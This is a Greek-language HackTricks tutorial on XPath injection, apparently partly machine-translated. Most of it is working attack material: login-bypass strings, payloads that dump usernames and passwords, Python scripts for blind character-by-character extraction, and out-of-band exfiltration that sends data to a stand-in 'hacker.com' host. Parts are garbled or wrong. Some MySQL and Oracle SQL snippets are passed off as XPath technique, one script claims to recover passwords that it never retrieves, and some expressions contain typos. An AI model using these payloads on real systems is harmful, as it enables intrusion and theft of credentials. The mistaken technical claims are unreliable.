# XPATH εισχώρηση
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! Άλλοι τρόποι υποστήριξης του HackTricks: * Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
Εγγραφείτε στον διακομιστή [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς αμοιβής ευρημάτων! **Εισαγωγή στο χάκινγκ**\ Ασχοληθείτε με περιεχόμενο που εξερευνά τον ενθουσιασμό και τις προκλήσεις του χάκινγκ **Ειδήσεις χάκινγκ σε πραγματικό χρόνο**\ Μείνετε ενημερωμένοι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο **Τελευταίες ανακοινώσεις**\ Μείνετε ενημερωμένοι με τις νεότερες αμοιβές ευρημάτων που ξεκινούν και τις κρίσιμες ενημερώσεις της πλατφόρμας **Συμμετέχετε στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **και αρχίστε να συνεργάζεστε με τους κορυφαίους χάκερ σήμερα!** ## Βασική σύνταξη Η τεχνική επίθεσης που ονομάζεται XPath Injection χρησιμοποιείται για να εκμεταλλευτεί εφαρμογές που δημιουργούν ερωτήματα XPath (XML Path Language) με βάση την είσοδο του χρήστη για να ερωτήσουν ή να πλοηγηθούν σε έγγραφα XML. ### Περιγραφή κόμβων Οι εκφράσεις χρησιμοποιούνται για να επιλέξουν διάφορους κόμβους σε ένα έγγραφο XML. Οι εκφράσεις αυτές και οι περιγραφές τους περιλαμβάνονται παρακάτω: - **nodename**: Επιλέγονται όλοι οι κόμβοι με το όνομα "nodename". - **/**: Η επιλογή γίνεται από τον ριζικό κόμβο. - **//**: Επιλέγονται οι κόμβοι που ταιριάζουν με την επιλογή από τον τρέχοντα κόμβο, ανεξάρτητα από τη θέση τους στο έγγραφο. - **.**: Επιλέγεται ο τρέχων κόμβος. - **..**: Επιλέγεται ο γονέας του τρέχοντος κόμβου. - **@**: Επιλέγονται τα γνωρίσματα. ### Παραδείγματα XPath Παραδείγματα εκφράσεων διαδρομής και των αποτελεσμάτων τους περιλαμβάνουν: - **bookstore**: Επιλέγονται όλοι οι κόμβοι με το όνομα "bookstore". - **/bookstore**: Επιλέγεται ο ριζικός κόμβος bookstore. Σημειώνεται ότι μια απόλυτη διαδρομή προς ένα στοιχείο αναπαρίσταται από μια διαδρομή που ξεκινά με μια κάθετο (/). - **bookstore/book**: Επιλέγονται όλοι οι στοιχείο book που είναι παιδιά του bookstore. - **//book**: Επιλέγονται όλα τα στοιχεία book στο έγγραφο, ανεξάρτητα από τη θέση τους. - **bookstore//book**: Επιλέγονται όλα τα στοιχεία book που είναι απόγονοι του στοιχείου bookstore, ανεξάρτητα από τη θέση τους κάτω από το στοιχείο bookstore. - **//@lang**: Επιλέγονται όλα τα γνωρίσματα με το όνομα lang. ### Χρήση προκαθορισμένων Οι προκαθορισμένοι χρησιμοποιούνται για την ακριβοποίηση των επιλογών: - **/bookstore/book[1]**: Επιλέγεται το πρώτο στοιχείο book παιδί του στοιχείου bookstore. Μια παράκαμψη για τις εκδόσεις IE 5 έως 9, που ευρετηριάζουν τον πρώτο κόμβο ως [0], είναι η ρύθμιση της SelectionLanguage σε XPath μέσω JavaScript. - **/bookstore/book[last()]**: Επιλέγεται το τελευταίο στοιχείο book παιδί του στοιχείου bookstore. - **/bookstore/book[last()-1]**: Επιλέγεται το προτελευταίο στοιχείο book παιδί του στοιχείου bookstore. - **/bookstore/book[position()<3]**: Επιλέγονται τα δύο πρώτα στοιχεία book παιδιά του στοιχείου bookstore. - **//title[@lang]**: Επιλέγον ```xml pepe peponcio admin mark m12345 regular fino fino2 regular ``` ### Πρόσβαση στις πληροφορίες To access the information, you can use XPath injection. XPath is a language used to navigate XML documents and extract data. By injecting malicious XPath queries into a vulnerable application, you can manipulate the XPath expressions and retrieve sensitive information. #### Identifying XPath Injection Vulnerabilities To identify XPath injection vulnerabilities, you can look for user input that is directly concatenated into XPath queries without proper sanitization or validation. Common places to find these vulnerabilities include search fields, login forms, and URL parameters. #### Exploiting XPath Injection Vulnerabilities Once you have identified a vulnerable input, you can start exploiting the XPath injection vulnerability. The goal is to craft a malicious XPath query that will retrieve the desired information. To do this, you can use techniques such as: - Union-based XPath injection: Injecting a union operator to combine the original XPath query with a crafted query that retrieves the desired information. - Error-based XPath injection: Injecting an error-inducing expression to force the application to reveal information in the error message. - Blind XPath injection: Injecting a query that retrieves information based on true or false conditions, without receiving direct feedback from the application. #### Retrieving Information To retrieve information using XPath injection, you can use functions such as `extractvalue()`, `substring()`, `concat()`, and `count()`. These functions allow you to extract specific data from the XML document. For example, you can use the `extractvalue()` function to extract the value of a specific node: ``` ' or extractvalue(1, concat(0x7e, (SELECT @@version)), 1) or ' ``` This query retrieves the version of the database and concatenates it with a tilde (~) character. #### Preventing XPath Injection To prevent XPath injection vulnerabilities, it is important to properly sanitize and validate user input before using it in XPath queries. This can be done by using parameterized queries or input validation techniques. Additionally, it is recommended to limit the privileges of the database user used by the application to minimize the potential impact of an XPath injection attack. By understanding XPath injection vulnerabilities and implementing proper security measures, you can protect your applications from unauthorized access to sensitive information. ``` All names - [pepe, mark, fino] name //name //name/node() //name/child::node() user/name user//name /user/name //user/name All values - [pepe, peponcio, admin, mark, ...] //user/node() //user/child::node() Positions //user[position()=1]/name #pepe //user[last()-1]/name #mark //user[position()=1]/child::node()[position()=2] #peponcio (password) Functions count(//user/node()) #3*3 = 9 (count all values) string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4 substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a" ``` ### Αναγνώριση και κλοπή του σχήματος Για να αναγνωρίσουμε και να κλέψουμε το σχήμα μιας ιστοσελίδας, μπορούμε να χρησιμοποιήσουμε την επίθεση XPath Injection. Η XPath Injection είναι μια ευπάθεια που επιτρέπει σε έναν εισβολέα να εκτελέσει κακόβουλο κώδικα XPath σε μια εφαρμογή ιστού. Για να εκμεταλλευτούμε αυτήν την ευπάθεια, πρέπει να εντοπίσουμε ένα σημείο στην ιστοσελίδα όπου η είσοδος του χρήστη ενσωματώνεται στο XPath query. Στη συνέχεια, μπορούμε να εισάγουμε κακόβουλο κώδικα XPath που θα μας επιτρέψει να ανακτήσουμε το σχήμα της βάσης δεδομένων ή άλλες ευαίσθητες πληροφορίες. Για παράδειγμα, αν έχουμε μια είσοδο που ενσωματώνεται στο XPath query ως εξής: ```xml //user[@username='" + userInput + "'] ``` Μπορούμε να εισάγουμε κακόβουλο κώδικα XPath για να ανακτήσουμε το σχήμα της βάσης δεδομένων: ```xml //user[@username='admin' or 1=1]/password/text() ``` Με αυτόν τον τρόπο, μπορούμε να ανακτήσουμε ευαίσθητες πληροφορίες όπως ονόματα χρηστών, κωδικούς πρόσβασης και άλλα δεδομένα από τη βάση δεδομένων της ιστοσελίδας. ```python and count(/*) = 1 #root and count(/*[1]/*) = 2 #count(root) = 2 (a,c) and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b) and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0 and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f) and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0 and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0 and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g) and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0 #The previous solutions are the representation of a schema like the following #(at this stage we don't know the name of the tags, but jus the schema) and name(/*[1]) = "root" #Confirm the name of the first tag is "root" and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `` is "a" and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag ``is codepoint 105 ("i") (https://codepoints.net/) #Stealing the schema via OOB doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1]))) doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1]))) ``` ## Παράκαμψη Ταυτοποίησης ### **Παράδειγμα ερωτημάτων:** ``` string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text()) $q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]'; ``` ### **Παράκαμψη OR στο όνομα χρήστη και στον κωδικό πρόσβασης (ίδια τιμή και για τα δύο)** Μια κοινή ευπάθεια στις εφαρμογές ιστού είναι η ευπάθεια της εισαγωγής XPath. Με τη χρήση της ευπάθειας αυτής, μπορούμε να παρακάμψουμε τον έλεγχο ταυτότητας χρήστη και κωδικού πρόσβασης, χρησιμοποιώντας την ίδια τιμή για και τα δύο πεδία. Για να επιτευχθεί αυτή η παράκαμψη, μπορούμε να εισάγουμε μια συμβολοσειρά XPath που θα επιστρέψει πάντα αληθή αποτέλεσμα. Ένα παράδειγμα αυτής της επίθεσης είναι η εισαγωγή της εξής συμβολοσειράς στο πεδίο του χρήστη και του κωδικού πρόσβασης: ```plaintext ' or '1'='1 ``` Με αυτήν την εισαγωγή, η συνθήκη XPath που ελέγχει την ταυτότητα χρήστη και κωδικού πρόσβασης θα είναι πάντα αληθής, επιτρέποντάς μας να προσπεράσουμε τον έλεγχο και να αποκτήσουμε πρόσβαση στην εφαρμογή. ``` ' or '1'='1 " or "1"="1 ' or ''=' " or ""=" string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text()) Select account Select the account using the username and use one of the previous values in the password field ``` ### **Κατάχρηση της ενέργειας της μηδενικής εισαγωγής** Null injection is a technique used in XPath injection attacks to bypass input validation and manipulate the XPath query. By injecting a null character (`\x00`), it is possible to terminate the string and append additional XPath expressions. Η μηδενική εισαγωγή είναι μια τεχνική που χρησιμοποιείται σε επιθέσεις XPath injection για να παρακάμψει τον έλεγχο εισόδου και να παραπλανήσει το ερώτημα XPath. Με την εισαγωγή ενός μηδενικού χαρακτήρα (`\x00`), είναι δυνατόν να τερματιστεί η συμβολοσειρά και να προστεθούν επιπλέον εκφράσεις XPath. ``` Username: ' or 1]%00 ``` ### **Διπλό OR στο όνομα χρήστη ή στον κωδικό πρόσβασης** (είναι έγκυρο με μόνο ένα ευάλωτο πεδίο) ΣΗΜΑΝΤΙΚΟ: Παρατηρήστε ότι η **"και" είναι η πρώτη πράξη που γίνεται**. ``` Bypass with first match (This requests are also valid without spaces) ' or /* or ' ' or "a" or ' ' or 1 or ' ' or true() or ' string(//user[name/text()='' or true() or '' and password/text()='']/account/text()) Select account 'or string-length(name(.))<10 or' #Select account with length(name)<10 'or contains(name,'adm') or' #Select first account having "adm" in the name 'or contains(.,'adm') or' #Select first account having "adm" in the current value 'or position()=2 or' #Select 2º account string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text()) Select account (name known) admin' or ' admin' or '1'='2 string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text()) ``` ## Εξαγωγή συμβολοσειρών Η έξοδος περιέχει συμβολοσειρές και ο χρήστης μπορεί να τροποποιήσει τις τιμές για αναζήτηση: ``` /user/username[contains(., '+VALUE+')] ``` ``` ') or 1=1 or (' #Get all names ') or 1=1] | //user/password[('')=(' #Get all names and passwords ') or 2=1] | //user/node()[('')=(' #Get all values ')] | //./node()[('')=(' #Get all values ')] | //node()[('')=(' #Get all values ') or 1=1] | //user/password[('')=(' #Get all names and passwords ')] | //password%00 #All names and passwords (abusing null injection) ')]/../*[3][text()!=(' #All the passwords ')] | //user/*[1] | a[(' #The ID of all users ')] | //user/*[2] | a[(' #The name of all users ')] | //user/*[3] | a[(' #The password of all users ')] | //user/*[4] | a[(' #The account of all users ``` ## Τυφλή Εκμετάλλευση ### **Πάρτε το μήκος μιας τιμής και εξαγάγετέ το με συγκρίσεις:** ```bash ' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4 ' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a" substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE) ... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value ``` ### **Παράδειγμα σε Python** ```python import requests def get_user_password(username): url = f"http://example.com/login?username={username}&password=' or '1'='1" response = requests.get(url) if "Welcome" in response.text: return "Password found!" else: return "Password not found!" username = input("Enter username: ") print(get_user_password(username)) ``` Αυτό είναι ένα παράδειγμα σε Python. Ο κώδικας αυτός χρησιμοποιεί μια απλή επίθεση XPath Injection για να ανακτήσει τον κωδικό πρόσβασης ενός χρήστη από μια ιστοσελίδα σύνδεσης. Ο χρήστης καλείται να εισάγει ένα όνομα χρήστη και ο κώδικας προσπαθεί να ανακτήσει τον κωδικό πρόσβασης για αυτόν τον χρήστη. Ο κώδικας δημιουργεί ένα URL με ένα παράμετρο `username` που περιέχει το όνομα χρήστη που εισήγαγε ο χρήστης. Στη συνέχεια, ο κώδικας προσθέτει μια συμβολοσειρά `' or '1'='1` στο τέλος του URL, προσπαθώντας να παραβιάσει τον έλεγχο της σύνδεσης. Αν η απόκριση περιέχει τη φράση "Welcome", τότε σημαίνει ότι ο κωδικός πρόσβασης βρέθηκε και επιστρέφεται το μήνυμα "Password found!". Διαφορετικά, επιστρέφεται το μήνυμα "Password not found!". Ο κώδικας αυτός είναι απλός και αποδοτικός, αλλά πρέπει να χρησιμοποιείται με προσοχή και μόνο για εκπαιδευτικούς σκοπούς. Η XPath Injection είναι μια επικίνδυνη επίθεση που μπορεί να προκαλέσει σοβαρές ασφαλειακές προβληματικές και πρέπει να αποφεύγεται σε πραγματικά συστήματα. ```python import requests, string flag = "" l = 0 alphabet = string.ascii_letters + string.digits + "{}_()" for i in range(30): r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i)) if ("TRUE_COND" in r.text): l = i break print("[+] Password length: " + str(l)) for i in range(1, l + 1): #print("[i] Looking for char number " + str(i)) for al in alphabet: r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al) if ("TRUE_COND" in r.text): flag += al print("[+] Flag: " + flag) break ``` ### Διάβασμα αρχείου Η εκμετάλλευση της ευπάθειας της εισαγωγής XPath μπορεί να μας επιτρέψει να διαβάσουμε περιεχόμενο αρχείων που δεν έχουν προορισμό να εμφανιστούν στην ιστοσελίδα. Αυτό μπορεί να είναι χρήσιμο για να ανακτήσουμε ευαίσθητες πληροφορίες από το σύστημα. Για να διαβάσουμε ένα αρχείο, πρέπει να βρούμε τον σωστό XPath για το στοιχείο που περιέχει το περιεχόμενο του αρχείου. Ένας τρόπος για να το κάνουμε αυτό είναι να χρησιμοποιήσουμε τη λειτουργία `extractvalue()`. Αυτή η λειτουργία επιστρέφει την τιμή ενός στοιχείου XPath. Παρακάτω παρουσιάζεται ένα παράδειγμα χρήσης της λειτουργίας `extractvalue()` για να διαβάσουμε το περιεχόμενο ενός αρχείου: ```sql SELECT extractvalue(xmltype('' || extractvalue(xmltype('' || utl_raw.cast_to_varchar2(utl_encode.base64_encode(utl_file.raw_read('DIRECTORY_PATH', 'FILE_NAME')) || '')), '/root/element/text()') || ''), '/root/text()') FROM dual; ``` Στο παραπάνω παράδειγμα, αντικαταστήστε την `DIRECTORY_PATH` με τον απόλυτο διαδρομή του καταλόγου του αρχείου που θέλετε να διαβάσετε και το `FILE_NAME` με το όνομα του αρχείου. Αυτή η τεχνική μπορεί να χρησιμοποιηθεί για να διαβάσετε οποιοδήποτε αρχείο που έχετε πρόσβαση στο σύστημα, αρκεί να βρείτε τον σωστό XPath για το στοιχείο που περιέχει το περιεχόμενο του αρχείου. ```python (substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127 ``` ## OOB Εκμετάλλευση Out-of-Band (OOB) εκμετάλλευση ### Εισαγωγή Η OOB εκμετάλλευση είναι μια τεχνική επίθεσης που χρησιμοποιείται στις ευπάθειες της XPath επίθεσης για να ανακτήσει πληροφορίες από τον στόχο. Αυτή η τεχνική εκμεταλλεύεται τη δυνατότητα του XPath να επικοινωνεί με εξωτερικούς πόρους, όπως αρχεία, διευθύνσεις IP ή άλλες υπηρεσίες, για να ανακτήσει πληροφορίες. ### Τεχνική OOB Η τεχνική OOB απαιτεί την εκτέλεση ενός ειδικά σχεδιασμένου XPath ερωτήματος που περιέχει εντολές για την αποστολή των δεδομένων που θέλουμε να ανακτήσουμε σε έναν εξωτερικό πόρο. Αυτός ο εξωτερικός πόρος μπορεί να είναι ένας διακομιστής OOB, ένας διακομιστής DNS ή ένας διακομιστής HTTP. Η τεχνική OOB μπορεί να χρησιμοποιηθεί για να ανακτήσει πληροφορίες όπως αρχεία, δεδομένα βάσης δεδομένων, διευθύνσεις IP και άλλες ευαίσθητες πληροφορίες από τον στόχο. ### Εκμετάλλευση OOB Για να εκμεταλλευτείτε μια ευπάθεια OOB, πρέπει να εντοπίσετε μια ευπάθεια XPath στην εφαρμογή στόχο. Αυτό μπορεί να γίνει με την εισαγωγή ειδικών χαρακτήρων ή με την εκτέλεση ενός ειδικά σχεδιασμένου ερωτήματος XPath. Αφού εντοπίσετε μια ευπάθεια XPath, μπορείτε να εκμεταλλευτείτε την ευπάθεια για να αποστείλετε τα δεδομένα που θέλετε να ανακτήσετε σε έναν εξωτερικό πόρο. Για παράδειγμα, μπορείτε να στείλετε τα δεδομένα σε έναν διακομιστή OOB που έχετε ελέγχουμε, ή μπορείτε να τα αποστείλετε σε έναν διακομιστή DNS ή HTTP που έχετε ρυθμίσει. Αφού αποστείλετε τα δεδομένα, μπορείτε να τα ανακτήσετε από τον εξωτερικό πόρο που έχετε ρυθμίσει. Αυτό μπορεί να γίνει με την παρακολούθηση των αιτημάτων που λαμβάνονται από τον εξωτερικό πόρο ή με την ανάγνωση των αρχείων που αποθηκεύονται στον εξωτερικό πόρο. ### Παραδείγματα OOB εκμετάλλευσης Οι παρακάτω είναι μερικά παραδείγματα OOB εκμετάλλευσης: - Ανάκτηση αρχείων: Μπορείτε να εκμεταλλευτείτε μια ευπάθεια OOB για να ανακτήσετε αρχεία από τον στόχο. Αυτό μπορεί να γίνει αποστέλλοντας τα αρχεία σε έναν εξωτερικό πόρο, όπως έναν διακομιστή OOB που έχετε ελέγχουμε. - Ανάκτηση δεδομένων βάσης δεδομένων: Μπορείτε να εκμεταλλευτείτε μια ευπάθεια OOB για να ανακτήσετε δεδομένα από μια βάση δεδομένων που χρησιμοποιεί η εφαρμογή στόχος. Αυτό μπορεί να γίνει αποστέλλοντας τα δεδομένα σε έναν εξωτερικό πόρο, όπως έναν διακομιστή OOB που έχετε ελέγχουμε. - Ανάκτηση διευθύνσεων IP: Μπορείτε να εκμεταλλευτείτε μια ευπάθεια OOB για να ανακτήσετε διευθύνσεις IP από τον στόχο. Αυτό μπορεί να γίνει αποστέλλοντας τις διευθύνσεις IP σε έναν εξωτερικό πόρο, όπως έναν διακομιστή DNS ή HTTP που έχετε ρυθμίσει. ### Προστασία από OOB εκμετάλλευση Για να προστατευτείτε από OOB εκμετάλλευση, μπορείτε να λάβετε τα παρακάτω μέτρα: - Επικύρωση εισόδου: Επιβεβαιώστε ότι η είσοδος που δέχεται η εφαρμογή σας είναι ασφαλής και δεν περιέχει ευπάθειες XPath. - Αποφυγή εκτέλεσης εξωτερικών ερωτημάτων: Αποφύγετε την εκτέλεση εξωτερικών ερωτημάτων από την εφαρμογή σας, εκτός αν είναι απολύτως απαραίτητο. - Περιορισμός πρόσβασης: Περιορίστε την πρόσβαση της εφαρμογής σας σε εξωτερικούς πόρους, όπως διακομιστές OOB, διακομιστές DNS ή διακομιστές HTTP. - Ενημέρωση εφαρμογής: Βεβαιωθείτε ότι η εφαρμογή σας είναι ενημερωμένη και ότι έχετε εφαρμόσει τις τελευταίες ενημερώσεις ασφαλείας. - Εφαρμογή ασφάλειας: Εφαρμόστε μια συνεχή πολιτική ασφαλείας για την εφαρμογή σας και εκπαιδεύστε τους χρήστες σας για τις βέλτιστες πρακτικές ασφαλείας. ```python doc(concat("http://hacker.com/oob/", RESULTS)) doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username)) doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username))) #Instead of doc() you can use the function doc-available doc-available(concat("http://hacker.com/oob/", RESULTS)) #the doc available will respond true or false depending if the doc exists, #user not(doc-available(...)) to invert the result if you need to ``` ### Αυτόματο εργαλείο * [xcat](https://xcat.readthedocs.io/) * [xxxpwn](https://github.com/feakk/xxxpwn) * [xxxpwn_smart](https://github.com/aayla-secura/xxxpwn_smart) * [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer) * [XmlChor](https://github.com/Harshal35/XMLCHOR) ## Αναφορές * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection) * [https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)) * [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
Συμμετέχετε στον διακομιστή [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας! **Εισαγωγή στο Hacking**\ Ασχοληθείτε με περιεχόμενο που εξερευνά τον ενθουσιασμό και τις προκλήσεις του χάκινγκ **Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο**\ Μείνετε ενημερωμένοι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο **Τελευταίες Ανακοινώσεις**\ Μείνετε ενημερωμένοι με τις νεότερες ανακοινώσεις για τις νέες αμοιβές ευρημάτων και τις κρίσιμες ενημερώσεις της πλατφόρμας **Συμμετέχετε στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **και αρχίστε να συνεργάζεστε με τους κορυφαίους χάκερ σήμερα!**
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! Άλλοι τρόποι υποστήριξης του HackTricks: * Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * **Συμμετέχετε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) **και** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **αποθετήρια του github.**